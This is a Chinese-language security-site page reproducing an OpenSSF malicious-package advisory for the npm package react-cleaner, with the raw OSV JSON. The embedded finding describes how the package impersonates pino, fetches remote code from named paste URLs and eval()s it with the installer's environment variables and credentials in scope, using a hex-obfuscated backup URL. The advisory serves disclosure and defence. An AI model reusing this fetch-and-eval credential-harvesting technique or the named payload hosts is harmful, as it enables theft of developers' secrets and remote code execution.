目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

react-cleaner

MAL-2026-4791
2026-05-26 09:19:14
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in react-cleaner (npm)

凭据/密钥窃取文件/数据外传
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
—
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmreact-cleaner1.0.4
npmreact-cleaner1.0.5
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-05-26T09:19:14Z","published":"2026-05-26T08:37:58Z","schema_version":"1.7.4","id":"MAL-2026-4791","summary":"Malicious code in react-cleaner (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (11c3d7a072dc204b4c150fae46302a31dafd46c85518d4ba7128fc7d36bf6a53)\nreact-cleaner@1.0.4 is a pino-logger impersonator (package main is pino.js, homepage https://getpino.io, module layout mirrors pino's lib/ tree) that, on require, executes attacker-controlled remote code with the installer's environment in scope. lib/writer.js calls axios.get('https://www.jsonkeeper.com/b/MYUKZ') and passes the response body directly to eval(). jsonkeeper.com is a mutable paste-style host, so the author can rotate the executed payload at any time without republishing. Before the fetch, writer.js assembles a data object containing the entirety of process.env, os.hostname(), os.userInfo().username, os.platform(), and the host's non-internal MAC addresses; this object is in scope when the remote payload runs, giving the attacker direct access to AWS_*, GITHUB_TOKEN, NPM_TOKEN, and any other secrets present in the installer's environment. A second remote-code channel is hex-obfuscated alongside the plaintext one: a hl array decodes to 'axios','get','https://www.jsonkeeper.com/b/HY6M6','then', confirming deliberate concealment of a backup eval source. The combination — pino impersonation as cover, require-time fetch-and-eval from a mutable anonymous host, bulk env scrape staged in eval scope, hex-obfuscated secondary URL — is an unambiguous credential-harvesting RCE.\n","affected":[{"package":{"ecosystem":"npm","name":"react-cleaner"},"versions":["1.0.4","1.0.5"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"lib/writer.js","sha256":"b514b5173d9d9f56d4d48f4136d8425d155ae22b946620e34e211de091d7a478","tlsh":"ab1120a2c392a414223017f248db4820bee5f35120d2418cbebc8ada2bf39e17154fa8"},{"path":"package.json","sha256":"2801942ab0ba3760351caf9366532b136dbcc2cadb924f9d2f5abea0ce6e2688","tlsh":"91016d14cd388db309e8299148290187aa61dd6b581cbc5cb3c3a31c0f4d6bf15ba57d"}],"package_integrity":[{"filename":"react-cleaner-1.0.4.tgz","hashes":{"sha1":"244d6afc7c95f23465af676b38c0d5d8642bb3d9","sha512_sri":"sha512-4EVeInTSlCTQ2D7Bh9WRvPwDdGhLgWReEbRjmBcG3Dm7HaLqtUjEE4h5tXOHWugPJqKwPp3GpaNkWuBSGn+87w=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/react-cleaner/v/1.0.4"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/react-cleaner/v/1.0.5"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["actran@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-004873","import_time":"2026-05-26T09:17:32.530000261Z","modified_time":"2026-05-26T08:37:58Z","sha256":"11c3d7a072dc204b4c150fae46302a31dafd46c85518d4ba7128fc7d36bf6a53","source":"amazon-inspector","versions":["1.0.4"]},{"id":"IN-MAL-2026-004877","import_time":"2026-05-26T09:17:32.972619317Z","modified_time":"2026-05-26T09:01:47Z","sha256":"31dbdda8b67e0d3fd9b3d5724d27f3451c558a33fd2fb4051fad460e78dc6bbf","source":"amazon-inspector","versions":["1.0.5"]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0